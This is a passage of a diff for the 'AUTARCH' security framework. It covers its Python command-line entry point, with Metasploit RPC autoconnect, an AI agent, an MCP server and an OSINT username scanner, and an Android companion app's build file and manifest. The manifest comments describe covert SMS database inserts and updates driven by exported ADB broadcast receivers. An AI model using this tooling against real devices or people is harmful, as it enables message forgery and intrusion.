|
||||
help='Use alternate configuration file'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--show-config',
|
||||
action='store_true',
|
||||
help='Display current configuration and exit'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--manual',
|
||||
action='store_true',
|
||||
help='Show the user manual'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--setup',
|
||||
action='store_true',
|
||||
help='Run the setup wizard'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--skip-setup',
|
||||
action='store_true',
|
||||
help='Skip first-time setup (run without LLM)'
|
||||
)
|
||||
|
||||
# Module execution
|
||||
parser.add_argument(
|
||||
'-m', '--module',
|
||||
metavar='NAME',
|
||||
help='Run a specific module directly'
|
||||
)
|
||||
parser.add_argument(
|
||||
'-l', '--list',
|
||||
action='store_true',
|
||||
help='List all available modules'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--list-category',
|
||||
metavar='CAT',
|
||||
choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'],
|
||||
help='List modules in a specific category'
|
||||
)
|
||||
|
||||
# Display options
|
||||
parser.add_argument(
|
||||
'--no-banner',
|
||||
action='store_true',
|
||||
help='Suppress the ASCII banner'
|
||||
)
|
||||
parser.add_argument(
|
||||
'-q', '--quiet',
|
||||
action='store_true',
|
||||
help='Minimal output mode'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--verbose',
|
||||
action='store_true',
|
||||
help='Enable verbose output'
|
||||
)
|
||||
|
||||
# Web UI options
|
||||
parser.add_argument(
|
||||
'--web',
|
||||
action='store_true',
|
||||
help='Start the web dashboard'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--web-port',
|
||||
type=int,
|
||||
metavar='PORT',
|
||||
help='Web dashboard port (default: 8181)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--no-tray',
|
||||
action='store_true',
|
||||
help='Disable system tray icon (run web server in foreground only)'
|
||||
)
|
||||
|
||||
# Web service management
|
||||
parser.add_argument(
|
||||
'--service',
|
||||
metavar='ACTION',
|
||||
choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'],
|
||||
help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)'
|
||||
)
|
||||
|
||||
# MCP server
|
||||
parser.add_argument(
|
||||
'--mcp',
|
||||
choices=['stdio', 'sse'],
|
||||
nargs='?',
|
||||
const='stdio',
|
||||
metavar='MODE',
|
||||
help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--mcp-port',
|
||||
type=int,
|
||||
default=8081,
|
||||
metavar='PORT',
|
||||
help='MCP SSE server port (default: 8081)'
|
||||
)
|
||||
|
||||
# UPnP options
|
||||
parser.add_argument(
|
||||
'--upnp-refresh',
|
||||
action='store_true',
|
||||
help='Refresh all UPnP port mappings and exit (for cron use)'
|
||||
)
|
||||
|
||||
# Metasploit options
|
||||
parser.add_argument(
|
||||
'--no-msf',
|
||||
action='store_true',
|
||||
help='Skip Metasploit autoconnect on startup'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--msf-user',
|
||||
metavar='USER',
|
||||
help='MSF RPC username for quick connect'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--msf-pass',
|
||||
metavar='PASS',
|
||||
help='MSF RPC password for quick connect'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--msf-no-sudo',
|
||||
action='store_true',
|
||||
help='Do not use sudo when starting msfrpcd (limits some modules)'
|
||||
)
|
||||
|
||||
# Quick commands (positional)
|
||||
parser.add_argument(
|
||||
'command',
|
||||
nargs='?',
|
||||
choices=['chat', 'agent', 'osint', 'scan', 'analyze'],
|
||||
help='Quick command to run'
|
||||
)
|
||||
parser.add_argument(
|
||||
'target',
|
||||
nargs='?',
|
||||
help='Target for quick commands (username, IP, file, etc.)'
|
||||
)
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def show_version():
|
||||
"""Display version information."""
|
||||
print(f"""
|
||||
{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent
|
||||
Version: {VERSION}
|
||||
Build: {BUILD_DATE}
|
||||
|
||||
{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET}
|
||||
|
||||
Components:
|
||||
- Core Framework v{VERSION}
|
||||
- LLM Integration llama-cpp-python
|
||||
- MSF Integration Metasploit RPC
|
||||
- Agent System Autonomous tools
|
||||
|
||||
Modules:
|
||||
- chat Interactive LLM chat
|
||||
- agent Autonomous AI agent
|
||||
- msf Metasploit interface
|
||||
- defender System hardening (defense)
|
||||
- counter Threat detection (counter)
|
||||
- analyze Forensics tools (analyze)
|
||||
- recon OSINT reconnaissance (osint)
|
||||
- adultscan Adult site scanner (osint)
|
||||
- simulate Attack simulation (simulate)
|
||||
|
||||
Python: {sys.version.split()[0]}
|
||||
Path: {FRAMEWORK_DIR}
|
||||
""")
|
||||
|
||||
|
||||
def show_config():
|
||||
"""Display current configuration."""
|
||||
from core.config import get_config
|
||||
|
||||
config = get_config()
|
||||
print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
|
||||
|
||||
print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}")
|
||||
print()
|
||||
|
||||
# LLM Settings
|
||||
print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}")
|
||||
llama = config.get_llama_settings()
|
||||
for key, value in llama.items():
|
||||
print(f" {key:20} = {value}")
|
||||
|
||||
# Autarch Settings
|
||||
print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}")
|
||||
print(f" {'first_run':20} = {config.get('autarch', 'first_run')}")
|
||||
print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}")
|
||||
print(f" {'verbose':20} = {config.get('autarch', 'verbose')}")
|
||||
|
||||
# MSF Settings
|
||||
print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}")
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
msf = get_msf_manager()
|
||||
settings = msf.get_settings()
|
||||
for key, value in settings.items():
|
||||
if key == 'password':
|
||||
value = '*' * len(value) if value else '(not set)'
|
||||
print(f" {key:20} = {value}")
|
||||
except:
|
||||
print(f" {Colors.DIM}(MSF not configured){Colors.RESET}")
|
||||
|
||||
print()
|
||||
|
||||
|
||||
def list_modules(category=None):
|
||||
"""List available modules."""
|
||||
from core.menu import MainMenu, CATEGORIES
|
||||
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
|
||||
print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n")
|
||||
|
||||
if category:
|
||||
# List specific category
|
||||
cat_info = CATEGORIES.get(category, {})
|
||||
modules = menu.get_modules_by_category(category)
|
||||
|
||||
color = cat_info.get('color', Colors.WHITE)
|
||||
print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
|
||||
print()
|
||||
|
||||
if modules:
|
||||
for name, info in modules.items():
|
||||
print(f" {color}{name:15}{Colors.RESET} {info.description}")
|
||||
print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}")
|
||||
else:
|
||||
print(f" {Colors.DIM}No modules in this category{Colors.RESET}")
|
||||
else:
|
||||
# List all categories
|
||||
for cat_name, cat_info in CATEGORIES.items():
|
||||
modules = menu.get_modules_by_category(cat_name)
|
||||
if not modules:
|
||||
continue
|
||||
|
||||
color = cat_info.get('color', Colors.WHITE)
|
||||
print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
|
||||
|
||||
for name, info in modules.items():
|
||||
print(f" {color}[{name}]{Colors.RESET} {info.description}")
|
||||
|
||||
print()
|
||||
|
||||
print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Run with: python autarch.py -m <module_name>{Colors.RESET}\n")
|
||||
|
||||
|
||||
def run_module(module_name, quiet=False):
|
||||
"""Run a specific module directly."""
|
||||
modules_path = FRAMEWORK_DIR / 'modules'
|
||||
module_file = modules_path / f"{module_name}.py"
|
||||
|
||||
if not module_file.exists():
|
||||
print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}")
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location(module_name, module_file)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(module)
|
||||
|
||||
if hasattr(module, 'run'):
|
||||
if not quiet:
|
||||
clear_screen()
|
||||
display_banner()
|
||||
print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n")
|
||||
module.run()
|
||||
else:
|
||||
print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}")
|
||||
sys.exit(1)
|
||||
|
||||
except Exception as e:
|
||||
print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def quick_osint(username):
|
||||
"""Quick OSINT username lookup."""
|
||||
print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n")
|
||||
|
||||
# Run adultscan with username
|
||||
try:
|
||||
from modules.adultscan import AdultScanner
|
||||
scanner = AdultScanner()
|
||||
scanner.scan_username(username)
|
||||
scanner.display_results()
|
||||
except Exception as e:
|
||||
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
|
||||
|
||||
|
||||
def quick_scan(target):
|
||||
"""Quick port scan."""
|
||||
print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n")
|
||||
|
||||
try:
|
||||
from modules.simulate import Simulator
|
||||
sim = Simulator()
|
||||
# Would need to modify simulator to accept target directly
|
||||
# For now, just inform user
|
||||
print(f"Use: python autarch.py -m simulate")
|
||||
print(f"Then select Port Scanner and enter: {target}")
|
||||
except Exception as e:
|
||||
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
|
||||
|
||||
|
||||
def manage_service(action):
|
||||
"""Manage the AUTARCH web dashboard systemd service."""
|
||||
import subprocess
|
||||
|
||||
SERVICE_NAME = "autarch-web"
|
||||
SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service"
|
||||
SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service")
|
||||
|
||||
if action == 'install':
|
||||
# Install the service file
|
||||
if not SERVICE_FILE.exists():
|
||||
print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}")
|
||||
return
|
||||
try:
|
||||
subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True)
|
||||
subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True)
|
||||
print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}")
|
||||
print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}")
|
||||
print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}")
|
||||
return
|
||||
|
||||
if not SYSTEMD_PATH.exists():
|
||||
print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}")
|
||||
return
|
||||
|
||||
cmd_map = {
|
||||
'start': ['sudo', 'systemctl', 'start', SERVICE_NAME],
|
||||
'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME],
|
||||
'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME],
|
||||
'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME],
|
||||
'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME],
|
||||
}
|
||||
|
||||
if action == 'status':
|
||||
result = subprocess.run(
|
||||
['systemctl', 'is-active', SERVICE_NAME],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
is_active = result.stdout.strip()
|
||||
result2 = subprocess.run(
|
||||
['systemctl', 'is-enabled', SERVICE_NAME],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
is_enabled = result2.stdout.strip()
|
||||
|
||||
color = Colors.GREEN if is_active == 'active' else Colors.RED
|
||||
print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}")
|
||||
print(f" {'─' * 30}")
|
||||
print(f" Status: {color}{is_active}{Colors.RESET}")
|
||||
print(f" Enabled: {is_enabled}")
|
||||
print()
|
||||
|
||||
# Show journal output
|
||||
result3 = subprocess.run(
|
||||
['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
if result3.stdout.strip():
|
||||
print(f" {Colors.DIM}Recent logs:{Colors.RESET}")
|
||||
for line in result3.stdout.strip().split('\n'):
|
||||
print(f" {Colors.DIM}{line}{Colors.RESET}")
|
||||
return
|
||||
|
||||
if action in cmd_map:
|
||||
try:
|
||||
subprocess.run(cmd_map[action], check=True)
|
||||
print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}")
|
||||
|
||||
|
||||
def check_first_run():
|
||||
"""Check if this is the first run and execute setup if needed."""
|
||||
from core.config import get_config
|
||||
config = get_config()
|
||||
|
||||
if config.is_first_run():
|
||||
from modules.setup import run as run_setup
|
||||
if not run_setup():
|
||||
print("Setup cancelled. Exiting.")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def msf_autoconnect(skip: bool = False, username: str = None, password: str = None,
|
||||
use_sudo: bool = True):
|
||||
"""Handle Metasploit autoconnect on startup.
|
||||
|
||||
Args:
|
||||
skip: Skip autoconnect entirely
|
||||
username: Optional username for quick connect
|
||||
password: Optional password for quick connect
|
||||
use_sudo: Run msfrpcd with sudo (default True for raw socket support)
|
||||
"""
|
||||
if skip:
|
||||
return
|
||||
|
||||
from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE
|
||||
|
||||
if not MSGPACK_AVAILABLE:
|
||||
print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}")
|
||||
return
|
||||
|
||||
# If credentials provided via command line, use quick connect
|
||||
if password:
|
||||
msf_quick_connect(username=username, password=password, use_sudo=use_sudo)
|
||||
else:
|
||||
# Use interactive autoconnect
|
||||
msf_startup_autoconnect()
|
||||
|
||||
|
||||
def run_setup_wizard():
|
||||
"""Run the setup wizard."""
|
||||
from modules.setup import run as run_setup
|
||||
run_setup()
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point for AUTARCH."""
|
||||
parser = create_parser()
|
||||
args = parser.parse_args()
|
||||
|
||||
# Handle help
|
||||
if args.help:
|
||||
if not args.quiet:
|
||||
display_banner()
|
||||
parser.print_help()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle version
|
||||
if args.version:
|
||||
show_version()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle config file override
|
||||
if args.config:
|
||||
from core import config as config_module
|
||||
config_module._config = config_module.Config(args.config)
|
||||
|
||||
# Handle show config
|
||||
if args.show_config:
|
||||
show_config()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle manual
|
||||
if getattr(args, 'manual', False):
|
||||
manual_path = FRAMEWORK_DIR / 'user_manual.md'
|
||||
if manual_path.exists():
|
||||
# Try to use less/more for paging
|
||||
import subprocess
|
||||
pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None)
|
||||
if pager:
|
||||
subprocess.run([pager, str(manual_path)])
|
||||
else:
|
||||
print(manual_path.read_text())
|
||||
else:
|
||||
print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}")
|
||||
sys.exit(0)
|
||||
|
||||
# Handle setup
|
||||
if args.setup:
|
||||
if not args.no_banner:
|
||||
clear_screen()
|
||||
display_banner()
|
||||
run_setup_wizard()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle skip setup
|
||||
if args.skip_setup:
|
||||
from modules.setup import SetupWizard
|
||||
wizard = SetupWizard()
|
||||
wizard.skip_setup()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle service management
|
||||
if args.service:
|
||||
manage_service(args.service)
|
||||
sys.exit(0)
|
||||
|
||||
# Handle MCP server
|
||||
if args.mcp:
|
||||
from core.mcp_server import run_stdio, run_sse
|
||||
if args.mcp == 'sse':
|
||||
print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}")
|
||||
run_sse(port=args.mcp_port)
|
||||
else:
|
||||
run_stdio()
|
||||
sys.exit(0)
|
||||
|
||||
# Handle web dashboard
|
||||
if args.web:
|
||||
from web.app import create_app
|
||||
from core.config import get_config
|
||||
from core.paths import get_data_dir
|
||||
config = get_config()
|
||||
app = create_app()
|
||||
host = config.get('web', 'host', fallback='0.0.0.0')
|
||||
port = args.web_port or config.get_int('web', 'port', fallback=8181)
|
||||
|
||||
# Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN)
|
||||
ssl_ctx = None
|
||||
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
|
||||
if use_https:
|
||||
import os, subprocess as _sp
|
||||
cert_dir = os.path.join(get_data_dir(), 'certs')
|
||||
os.makedirs(cert_dir, exist_ok=True)
|
||||
cert_path = os.path.join(cert_dir, 'autarch.crt')
|
||||
key_path = os.path.join(cert_dir, 'autarch.key')
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}")
|
||||
_sp.run([
|
||||
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
|
||||
'-keyout', key_path, '-out', cert_path,
|
||||
'-days', '3650', '-nodes',
|
||||
'-subj', '/CN=AUTARCH/O=darkHal',
|
||||
], check=True, capture_output=True)
|
||||
ssl_ctx = (cert_path, key_path)
|
||||
proto = 'https'
|
||||
else:
|
||||
proto = 'http'
|
||||
|
||||
print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}")
|
||||
|
||||
# System tray mode (default on desktop environments)
|
||||
if not args.no_tray:
|
||||
try:
|
||||
from core.tray import TrayManager, TRAY_AVAILABLE
|
||||
if TRAY_AVAILABLE:
|
||||
print(f"{Colors.DIM} System tray icon active — right-click to control{Colors.RESET}")
|
||||
tray = TrayManager(app, host, port, ssl_context=ssl_ctx)
|
||||
tray.run() # Blocks until Exit
|
||||
sys.exit(0)
|
||||
except Exception:
|
||||
pass # Fall through to normal mode
|
||||
|
||||
# Fallback: run Flask directly (headless / --no-tray)
|
||||
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
|
||||
sys.exit(0)
|
||||
|
||||
# Handle UPnP refresh (for cron)
|
||||
if args.upnp_refresh:
|
||||
from core.upnp import get_upnp_manager
|
||||
upnp = get_upnp_manager()
|
||||
results = upnp.refresh_all()
|
||||
for r in results:
|
||||
status = "OK" if r['success'] else "FAIL"
|
||||
print(f" {r['port']}/{r['protocol']}: {status}")
|
||||
sys.exit(0)
|
||||
|
||||
# Handle list modules
|
||||
if args.list:
|
||||
list_modules()
|
||||
sys.exit(0)
|
||||
|
||||
if args.list_category:
|
||||
list_modules(args.list_category)
|
||||
sys.exit(0)
|
||||
|
||||
# Handle direct module execution
|
||||
if args.module:
|
||||
run_module(args.module, args.quiet)
|
||||
sys.exit(0)
|
||||
|
||||
# Handle quick commands
|
||||
if args.command:
|
||||
if not args.no_banner:
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
if args.command == 'chat':
|
||||
run_module('chat', args.quiet)
|
||||
elif args.command == 'agent':
|
||||
run_module('agent', args.quiet)
|
||||
elif args.command == 'osint':
|
||||
if args.target:
|
||||
quick_osint(args.target)
|
||||
else:
|
||||
print(f"{Colors.RED}Usage: autarch osint <username>{Colors.RESET}")
|
||||
elif args.command == 'scan':
|
||||
if args.target:
|
||||
quick_scan(args.target)
|
||||
else:
|
||||
print(f"{Colors.RED}Usage: autarch scan <target>{Colors.RESET}")
|
||||
elif args.command == 'analyze':
|
||||
if args.target:
|
||||
run_module('analyze', args.quiet)
|
||||
else:
|
||||
run_module('analyze', args.quiet)
|
||||
sys.exit(0)
|
||||
|
||||
# Default: run interactive menu
|
||||
try:
|
||||
# Display banner first
|
||||
if not args.no_banner:
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
# Check for first run and execute setup
|
||||
check_first_run()
|
||||
|
||||
# Metasploit autoconnect
|
||||
msf_autoconnect(
|
||||
skip=args.no_msf,
|
||||
username=args.msf_user,
|
||||
password=args.msf_pass,
|
||||
use_sudo=not args.msf_no_sudo
|
||||
)
|
||||
|
||||
# Apply CLI display flags to config for this session
|
||||
from core.config import get_config
|
||||
cfg = get_config()
|
||||
if args.verbose:
|
||||
cfg.set('autarch', 'verbose', 'true')
|
||||
if args.quiet:
|
||||
cfg.set('autarch', 'quiet', 'true')
|
||||
if args.no_banner:
|
||||
cfg.set('autarch', 'no_banner', 'true')
|
||||
|
||||
# Start the main menu
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.run()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}")
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}")
|
||||
if '--verbose' in sys.argv:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
65
autarch_companion/app/build.gradle.kts
Normal file
65
autarch_companion/app/build.gradle.kts
Normal file
@@ -0,0 +1,65 @@
|
||||
plugins {
|
||||
id("com.android.application")
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.darkhal.archon"
|
||||
compileSdk = 36
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.darkhal.archon"
|
||||
minSdk = 26
|
||||
targetSdk = 36
|
||||
versionCode = 2
|
||||
versionName = "2.0.0"
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
proguardFiles(
|
||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||
"proguard-rules.pro"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_21
|
||||
targetCompatibility = JavaVersion.VERSION_21
|
||||
}
|
||||
|
||||
kotlin {
|
||||
jvmToolchain(21)
|
||||
}
|
||||
|
||||
buildFeatures {
|
||||
viewBinding = true
|
||||
}
|
||||
|
||||
packaging {
|
||||
jniLibs {
|
||||
useLegacyPackaging = false
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.core:core-ktx:1.12.0")
|
||||
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||
implementation("com.google.android.material:material:1.11.0")
|
||||
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
|
||||
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
|
||||
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
|
||||
implementation("androidx.preference:preference-ktx:1.2.1")
|
||||
implementation("androidx.webkit:webkit:1.10.0")
|
||||
|
||||
// Local ADB client (wireless debugging pairing + shell)
|
||||
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
|
||||
implementation("org.conscrypt:conscrypt-android:2.5.3")
|
||||
|
||||
// Shizuku for elevated access (SMS/RCS operations)
|
||||
implementation("dev.rikka.shizuku:api:13.1.5")
|
||||
implementation("dev.rikka.shizuku:provider:13.1.5")
|
||||
}
|
||||
142
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
142
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,142 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
|
||||
<!-- Wi-Fi Direct -->
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
|
||||
android:usesPermissionFlags="neverForLocation"
|
||||
android:minSdkVersion="33" />
|
||||
|
||||
<!-- Notifications (Android 13+) -->
|
||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
|
||||
<!-- SMS manipulation (covert database insert, not actual sending) -->
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_MMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
|
||||
<!-- Bluetooth discovery -->
|
||||
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
|
||||
android:usesPermissionFlags="neverForLocation"
|
||||
android:minSdkVersion="31" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
|
||||
|
||||
<!-- Optional hardware features -->
|
||||
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
|
||||
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:icon="@drawable/ic_archon"
|
||||
android:label="@string/app_name"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.Archon"
|
||||
android:usesCleartextTraffic="true">
|
||||
|
||||
<!-- Shizuku provider for elevated access -->
|
||||
<provider
|
||||
android:name="rikka.shizuku.ShizukuProvider"
|
||||
android:authorities="${applicationId}.shizuku"
|
||||
android:multiprocess="false"
|
||||
android:enabled="true"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.INTERACT_ACROSS_USERS_FULL" />
|
||||
|
||||
<meta-data
|
||||
android:name="moe.shizuku.client.V3_PROVIDER_AUTHORITIES"
|
||||
android:value="${applicationId}.shizuku" />
|
||||
|
||||
<activity
|
||||
android:name=".LoginActivity"
|
||||
android:exported="true"
|
||||
android:screenOrientation="portrait">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="false"
|
||||
android:screenOrientation="portrait" />
|
||||
|
||||
<receiver
|
||||
android:name=".service.PairingReceiver"
|
||||
android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="com.darkhal.archon.ACTION_PAIR" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
|
||||
<receiver
|
||||
android:name=".service.SmsWorker"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="com.darkhal.archon.SMS_INSERT" />
|
||||
<action android:name="com.darkhal.archon.SMS_UPDATE" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
|
||||
<receiver
|
||||
android:name=".service.SmsDeliverReceiver"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.BROADCAST_SMS">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SMS_DELIVER" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<receiver
|
||||
android:name=".service.MmsDeliverReceiver"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.BROADCAST_WAP_PUSH">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
|
||||
<data android:mimeType="application/vnd.wap.mms-message" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<service
|
||||
android:name=".service.RespondViaMessageService"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
|
||||
<data android:scheme="sms" />
|
||||
<data android:scheme="smsto" />
|
||||
<data android:scheme="mms" />
|
||||
<data android:scheme="mmsto" />
|
||||
</intent-filter>
|
||||
</service>
|
||||
|
||||
<activity
|
||||
android:name=".service.SmsComposeActivity"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.SEND" />
|
||||
<action android:name="android.intent.action.SENDTO" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data android:scheme="sms" />
|
||||
<data android:scheme="smsto" />
|
||||
<data android:scheme="mms" />
|
||||
<data android:scheme="mmsto" />
|
||||
